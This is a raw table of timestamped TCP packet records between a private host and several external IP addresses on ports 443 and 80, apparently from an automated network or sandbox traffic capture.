Nov 28, 2024 02:27:27.932707071 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.932719946 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.932724953 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.932744980 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.932758093 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.932782888 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.933625937 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.933643103 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.945487976 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.945513964 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.945559978 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.945568085 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.945610046 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.954634905 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.954653025 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.954725027 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.954734087 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.954946041 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.957369089 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.957453966 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.957458019 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.957499981 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.957658052 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.957664967 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:27.957685947 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:27.957710028 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:28.030220032 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:28.257329941 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.257402897 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.263799906 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.263817072 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.264103889 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.305006981 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.347336054 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.501677036 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:28.501775026 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:28.503911018 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:28.503917933 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:28.504250050 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:28.550451994 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:28.569654942 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:28.611335039 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:28.800097942 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.800174952 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.800240040 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.800668955 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.800685883 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.800695896 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.800700903 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.836694002 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.836714029 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.836992979 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.837625027 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:28.837629080 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:28.966512918 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:28.966972113 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:28.967006922 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:28.967542887 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:28.967547894 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.063879967 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.064467907 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.064486027 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.065181971 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.065187931 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.112066984 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.113218069 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.113231897 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.113836050 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.113842010 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.131119013 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.131758928 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.131768942 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.132412910 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.132417917 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.220016003 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220046043 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220056057 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220072985 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220097065 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220098972 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.220112085 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.220143080 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.220175028 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.241400003 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.241471052 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.241478920 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.241492033 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.241543055 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.241580963 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.241589069 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.241612911 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:29.241622925 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:29.487093925 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.487169027 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.487206936 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.524497986 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.524557114 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.524595976 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.535680056 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.535702944 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.535715103 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.535722017 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.554297924 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.554311037 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.554326057 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.554330111 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.554711103 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.554788113 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.554832935 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.555850029 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.555866003 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.555877924 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.555882931 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.560035944 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.560064077 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.560115099 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.562588930 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.562627077 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.562676907 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.563102961 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.563117027 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.564007044 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.564022064 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.566046000 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.566073895 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.566128016 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.566369057 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.566381931 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.574815989 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.574872017 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.574961901 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.575126886 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.575126886 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.575145960 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.575164080 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.577697039 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.577713966 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.577765942 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.577967882 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.577981949 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.656995058 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.657902002 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.657922983 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.658510923 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:29.658516884 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:29.696235895 CET	49795	443	192.168.2.6	172.217.17.78
Nov 28, 2024 02:27:29.696269989 CET	443	49795	172.217.17.78	192.168.2.6
Nov 28, 2024 02:27:29.696324110 CET	49795	443	192.168.2.6	172.217.17.78
Nov 28, 2024 02:27:29.696661949 CET	49795	443	192.168.2.6	172.217.17.78
Nov 28, 2024 02:27:29.696675062 CET	443	49795	172.217.17.78	192.168.2.6
Nov 28, 2024 02:27:29.743352890 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:29.743403912 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:29.901386976 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:30.003005981 CET	49756	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:30.012053967 CET	49795	443	192.168.2.6	172.217.17.78
Nov 28, 2024 02:27:30.026338100 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:30.112632036 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.112731934 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.112857103 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.126945972 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.126945972 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.126966000 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.126971006 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.131302118 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.131325960 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.131443024 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.139100075 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:30.139120102 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:30.234354019 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.234541893 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.243175030 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.243190050 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.243434906 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.244879961 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.287329912 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.766679049 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.766824007 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.767376900 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.768007994 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.768007994 CET	49789	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:30.768028975 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.768038988 CET	443	49789	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:30.840315104 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:30.841290951 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:31.353396893 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.354186058 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.354203939 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.354665041 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.354669094 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.419783115 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.420269012 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.420295000 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.420753002 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.420758963 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.424844980 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.425329924 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.425359964 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.425731897 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.425736904 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.445422888 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.445795059 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.445807934 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.446516037 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.446521044 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.805289984 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.805350065 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.805444956 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.809820890 CET	49790	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.809830904 CET	443	49790	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.813905001 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.813941002 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.813997984 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.814348936 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.814362049 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.881023884 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.881098032 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.881191015 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.884325027 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.884325027 CET	49791	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.884341002 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.884350061 CET	443	49791	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.885696888 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.885752916 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.885801077 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.896272898 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.896285057 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.896295071 CET	49792	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.896301985 CET	443	49792	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.906373978 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.906433105 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.906522989 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.937890053 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.937906027 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.937918901 CET	49793	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.937926054 CET	443	49793	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.959988117 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.960009098 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.960100889 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.972007990 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.972042084 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.972115040 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.972796917 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.972816944 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.972872972 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.973257065 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.973277092 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:31.997272015 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:31.997297049 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:32.001703024 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:32.001723051 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:32.510060072 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:32.551335096 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.018693924 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.018712044 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.035355091 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.035362005 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.373454094 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.373760939 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.373806953 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.447130919 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.447154999 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.447165966 CET	49796	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.447173119 CET	443	49796	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.546377897 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.598177910 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.761642933 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.799974918 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.858094931 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.918970108 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.919023991 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:33.963325024 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:33.963430882 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.033691883 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.033715963 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.035306931 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.035317898 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.037096024 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.037121058 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.037497997 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.037506104 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.087707043 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.087716103 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.088397980 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.088401079 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.104598999 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.104615927 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.105459929 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.105464935 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.133387089 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.133418083 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.133491039 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.133861065 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.133874893 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.357119083 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.357352018 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.357456923 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.373550892 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.373605967 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.373768091 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.417049885 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.417115927 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.417191029 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.433244944 CET	49797	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.433270931 CET	443	49797	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.434581041 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.434648037 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.434714079 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.436395884 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.436402082 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.436412096 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.436415911 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.439325094 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.439325094 CET	49799	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.439340115 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.439347982 CET	443	49799	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.460292101 CET	49798	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.460313082 CET	443	49798	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.520101070 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:34.520248890 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:34.643898964 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:34.644047976 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:34.644119978 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:34.644192934 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:34.644241095 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:34.673504114 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.673516989 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.673815966 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.675302982 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.675323963 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.675400019 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.719202042 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.719247103 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.719355106 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.730653048 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.730675936 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.732909918 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.732930899 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.733023882 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.733248949 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.733263016 CET	443	49811	13.107.246.63	192.168.2.6
